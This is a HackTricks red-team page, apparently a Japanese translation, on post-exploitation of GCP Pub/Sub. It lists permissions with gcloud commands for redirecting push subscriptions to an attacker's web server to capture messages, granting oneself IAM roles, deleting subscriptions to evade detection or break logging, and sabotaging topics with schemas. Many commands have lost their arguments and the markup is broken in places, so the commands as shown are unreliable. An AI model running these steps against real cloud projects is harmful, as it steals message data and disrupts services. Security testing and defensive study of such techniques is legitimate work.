GCP - Pub/Sub Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Pub/Sub

For more information about Pub/Sub check the following page:

GCP - Pub/Sub Enum

pubsub.topics.publish

トピックにメッセージを公開します。予期しないデータを送信するのに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:

トピックにメッセージを公開 ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

サブスクリプションがメッセージを受信するのを防ぐのに有用で、検出を回避するために使うことがあります。

トピックからサブスクリプションを切り離す ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。
サブスクリプションが紐づいている状態でもトピックを削除できます。

トピックを削除 ```bash gcloud pubsub topics delete ```

pubsub.topics.update

この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば --clear-schema-settings--message-retention-duration--message-storage-policy-allowed-regions--schema--schema-project--topic-encryption-key

pubsub.topics.setIamPolicy

自分に権限を付与して、前述のいずれの攻撃も実行できるようにします。

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

ウェブサーバーで全てのメッセージを取得する:

メッセージを受信するための push subscription を作成する ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

サブスクリプションを作成し、それを使って pull messages:

pull subscription を作成してメッセージを取得する ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:

<details>

<summary>サブスクリプションを削除</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

この権限を使って、メッセージが自分でアクセスできる場所(URL, Big Query table, Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。

サブスクリプションの更新エンドポイント ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

スキーマをトピックにアタッチして、メッセージがそれを満たさなくなり、その結果トピックが中断されるようにします。
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。

スキーマファイルを作成してトピックにアタッチする ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどの message も topic に入らないため、これは役に立ちません

Delete schema (not useful) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。

pubsub.snapshots.create, pubsub.snapshots.seek

これは、すべての unACKed メッセージのスナップショットを作成してサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:

スナップショットを作成してそこにシークする ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする